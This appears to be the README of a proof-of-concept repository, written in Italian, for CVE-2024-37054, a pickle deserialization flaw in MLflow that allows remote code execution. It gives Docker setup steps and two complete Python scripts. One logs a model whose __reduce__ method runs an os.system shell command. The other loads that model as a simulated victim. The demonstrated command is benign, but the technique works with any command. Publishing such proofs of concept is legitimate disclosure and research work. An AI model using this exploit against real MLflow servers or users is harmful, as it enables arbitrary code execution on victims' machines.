
NiteeshPujari/CVE-2024-37054, Questo repository contiene una Prova di Concetto (PoC) di una vulnerabilità critica di deserializzazione in MLflow che consente l'Esecuzione Remota di Codice (RCE).
__ __ _ _____ _ ___ __ __
| \/ || | | ___|| | / _ \\ \ / /
| |\/| || | | |_ | | | | | |\ \ /\ / /
| | | || |___ | _| | |___| |_| | \ V V /
|_| |_||_____||_| |_____|\___/ \_/\_/
____ ____ _____ ____ ____
| _ \ / ___|| ____| | _ \ ___ / ___|
| |_) || | | _| | |_) |/ _ \ | |
| _ < | |___ | |___ | __/| (_) || |___
|_| \_\ \____||_____| |_| \___/ \____|
Questo repository contiene un Proof of Concept (PoC) per CVE-2024-37054, una vulnerabilità critica di deserializzazione in MLflow che permette l'esecuzione di codice remoto (RCE).
CVE-2024-37054mlflow.pyfunc.load_model. Un utente malintenzionato può creare un modello malevolo contenente un payload picklato. Quando una vittima carica questo modello, il payload viene deserializzato tramite cloudpickle.load, portando all'esecuzione di codice arbitrario sulla macchina della vittima.0.9.0 fino alla 2.14.2 esclusa._load_pyfunc in mlflow/pyfunc/model.py.Questo PoC simula due ruoli: un Attaccante che carica un modello malevolo e una Vittima che lo carica, innescando la RCE.
Il modo più semplice per impostare un server MLflow vulnerabile è utilizzare il Dockerfile fornito.
Costruisci ed esegui il container Docker:
# 1. Costruisci l'immagine Docker
docker build -t mlflow-vulnerable .
# 2. Esegui il container, mappando la porta 5000 sull'host
docker run -p 5000:5000 --name mlflow-poc-server -it mlflow-vulnerable
Il tuo server MLflow vulnerabile è ora in esecuzione su http://127.0.0.1:5000.
Avrai bisogno di due terminali separati sulla tua macchina host. Assicurati di avere una versione vulnerabile di mlflow installata localmente (pip install mlflow==2.14.1) per eseguire gli script client.
Nel primo terminale, esegui lo script dell'attaccante per registrare il modello malevolo.
# poc/log_malicious_model.py
import mlflow
import os
# L'URI del tuo server di tracking MLflow
MLFLOW_TRACKING_URI = "http://127.0.0.1:5000"
REGISTERED_MODEL_NAME = "rce-payload-model"
class MaliciousCodeWrapper(mlflow.pyfunc.PythonModel):
def __init__(self):
class CommandRunner:
def __reduce__(self):
cmd = 'echo ">>> RCE PAYLOAD EXECUTED SUCCESSFULLY <<<" && echo > pwned.txt'
return (os.system, (cmd,))
self.payload = CommandRunner()
def predict(self, context, model_input):
return "This model is a malicious payload."
if __name__ == "__main__":
mlflow.set_tracking_uri(MLFLOW_TRACKING_URI)
mlflow.set_experiment("Security Demos")
with mlflow.start_run() as run:
mlflow.pyfunc.log_model(
artifact_path="model",
python_model=MaliciousCodeWrapper(),
registered_model_name=REGISTERED_MODEL_NAME
)
print(f"[*] Modello malevolo '{REGISTERED_MODEL_NAME}' registrato.")
Eseguilo:
python poc/log_malicious_model.py
Nel secondo terminale, esegui lo script della vittima per simulare il caricamento del modello compromesso.
# poc/load_vulnerable_model.py
import mlflow
MLFLOW_TRACKING_URI = "http://127.0.0.1:5000"
REGISTERED_MODEL_NAME = "rce-payload-model"
MODEL_VERSION = 1
if __name__ == "__main__":
mlflow.set_tracking_uri(MLFLOW_TRACKING_URI)
model_uri = f"models:/{REGISTERED_MODEL_NAME}/{MODEL_VERSION}"
print(f"[*] VITTIMA: Tentativo di caricare il modello dall'URI: {model_uri}")
print("[*] Il payload verrà eseguito alla prossima riga...")
try:
loaded_model = mlflow.pyfunc.load_model(model_uri)
print("\n[*] Modello caricato con successo.")
except Exception as e:
print(f"\n[!] Si è verificato un errore: {e}")
Eseguilo:
python poc/load_vulnerable_model.py
Dopo aver eseguito lo script della vittima, vedrai il messaggio /bin/sh: 1: >>> RCE PAYLOAD EXECUTED SUCCESSFULLY <<<: not found nel terminale, e un nuovo file chiamato pwned.txt verrà creato nella tua directory. Questo conferma l'esecuzione riuscita del comando.
Questo Proof of Concept è stato sviluppato da Pujari Niteesh.